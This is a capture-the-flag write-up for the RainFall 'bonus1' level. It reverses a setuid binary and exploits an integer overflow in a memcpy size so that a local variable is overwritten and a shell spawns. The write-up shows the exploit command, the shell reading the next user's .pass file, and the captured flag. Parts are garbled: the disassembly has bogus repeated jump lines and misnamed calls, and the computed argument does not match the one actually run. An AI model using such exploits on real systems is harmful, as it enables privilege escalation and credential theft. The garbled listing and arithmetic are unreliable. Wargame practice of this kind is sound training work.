

BONUS1:

```
RELRO          STACK CANARY      NX              PIE              RPAT
H      RUNPATH      FILE
No RELRO      No canary found  NX disabled    No PIE          No R
PATH  No RUNPATH  /home/user/bonus1/bonus1
bonus1@RainFall:~$ ls -l
total 8
-rwsr-s---+ 1 bonus2 users 5043 Mar  6  2016 bonus1
bonus1@RainFall:~$ ./bonus1
Segmentation fault (core dumped)
bonus1@RainFall:~$ ./bonus1 1
Segmentation fault (core dumped)
bonus1@RainFall:~$ ./bonus1 1 2
bonus1@RainFall:~$ ./bonus1 1 2 3
bonus1@RainFall:~$ ./bonus1 1 2 3 4
bonus1@RainFall:~$ ./bonus1 < 11
bash: 11: No such file or directory
bonus1@RainFall:~$ echo 'lol' | ./bonus1
Segmentation fault (core dumped)
bonus1@RainFall:~$ echo 'lol' | ./bonus1 1
Segmentation fault (core dumped)
bonus1@RainFall:~$ echo 'lol' | ./bonus1 1 2
bonus1@RainFall:~$ █
```

Same process:

Strings:

```
→ bonus1 strings ../Debug_files/bonus1
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
execl
memcpy
atoi
__libc_start_main
GLIBC_2.0
PTRh
QVh$
| $<FLOWu
UWVS
[^_]
/bin/sh
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
```

objdump -d:

```

08048424 <main>:
8048424:    55                push    %ebp
8048425:    89 e5             mov     %esp,%ebp
8048427:    83 e4 f0          and     $0xffffffff0,%esp
804842a:    83 ec 40          sub     $0x40,%esp
804842d:    8b 45 0c          mov     0xc(%ebp),%eax
8048430:    83 c0 04          add     $0x4,%eax
8048433:    8b 00             mov     (%eax),%eax
8048435:    89 04 24          mov     %eax,(%esp)
8048438:    e8 23 ff ff ff   call    8048360 <atoi@plt>
804843d:    89 44 24 3c       mov     %eax,0x3c(%esp)
8048441:    83 7c 24 3c 09    cmpl    $0x9,0x3c(%esp)
8048446:    7e 07             jle     804844f <main+0x2b>
8048448:    b8 01 00 00 00    mov     $0x1,%eax
804844d:    eb 54             jmp     80484a3 <main+0x7f>
804844f:    8b 44 24 3c       mov     0x3c(%esp),%eax
8048453:    8d 0c 85 00 00 00 00 lea     0x0(,%eax,4),%ecx
804845a:    8b 45 0c          mov     0xc(%ebp),%eax
804845d:    83 c0 08          add     $0x8,%eax
8048460:    8b 00             mov     (%eax),%eax
8048462:    89 c2             mov     %eax,%edx
8048464:    8d 44 24 14       lea     0x14(%esp),%eax
8048468:    89 4c 24 08       mov     %ecx,0x8(%esp)
804846c:    89 54 24 04       mov     %edx,0x4(%esp)
8048470:    89 04 24          mov     %eax,(%esp)
8048473:    e8 a8 fe ff ff   call    8048320 <memcpy@plt>
8048478:    81 7c 24 3c 46 4c 4f cmpl    $0x574f4c46,0x3c(%esp)
804847f:    57                jne     804849e <main+0x7a>
8048480:    75 1c             jne     804849e <main+0x7a>
8048482:    c7 44 24 08 00 00 00 movl    $0x0,0x8(%esp)
8048489:    00                jne     804849e <main+0x7a>
804848a:    c7 44 24 04 80 85 04 movl    $0x8048580,0x4(%esp)
8048491:    08                jne     804849e <main+0x7a>
8048492:    c7 04 24 83 85 04 08 movl    $0x8048583,(%esp)
8048499:    e8 b2 fe ff ff   call    8048350 <exec1@plt>
804849e:    b8 00 00 00 00    mov     $0x0,%eax
80484a3:    c9                leave   %eax
80484a4:    c3                ret
80484a5:    90                nop

```

<https://security.stackexchange.com/questions/130326/is-this-integer-overflow-vulnerability-exploitable>

<https://www.exploit-db.com/docs/english/28477-linux-integer-overflow-and-underflow.pdf>

Reverse:

```

__attribute__((cdecl)) int main(int ac, char **av)
{

```

```

    int i;
    char s[0x3c];          // &s = 0xbffff490

```

```

i = atoi(av[1]);          // &i = 0xbffff4cc
if (i > 0x9)
    return 1;

                                0xb7f65ed7
    memcpy((void*)(s + 0x14), av[2], i * 4); // 0xbffff4a4 = av[2]
max 0x24 -> 0xbffff4c8      I need 0x2c to get to 0xbffff50c
    if (i == 0x574f4c46)
    {   execl(« /bin/sh », « sh »);          // NEED TO CREATE
SH FILE ?
        return 0;
    }
    return 1;
}

```

The thing it to trigger negative value for atoi{}, and remind that is will be multipliate by 4 to be the size of what is copied from av[2] to s + 14.

I know that I want to write 0x2c chars from av[2] because we store at offset 0x14, and we want to reach offset 0x40. 0x40 - 0x14 = 0x2c But we want to write 4 octet

0x2c = 44

-44 = FFD4 -> FFFFFFFD4

FFFFFFFD4 = -44 ou 4294967252

4294967252 / 4 = 1073741813

So our first arg will be 1073741813.

Second is just random chars until are target address, which we override with 0x574f4c46.

It worked !

```

bonus1@RainFall:~$ ./bonus1 -1073741812 `python -c "print(40 * '\x31' + '\x46\x4c\x4f\x57')"`
$ cat /home/user/bonus2/.pass
579bd19263eb8655e4cf7b742d75edf8c38226925d78db8163506f5191825245
$ █

```

Flag:

579bd19263eb8655e4cf7b742d75edf8c38226925d78db816
3506f5191825245

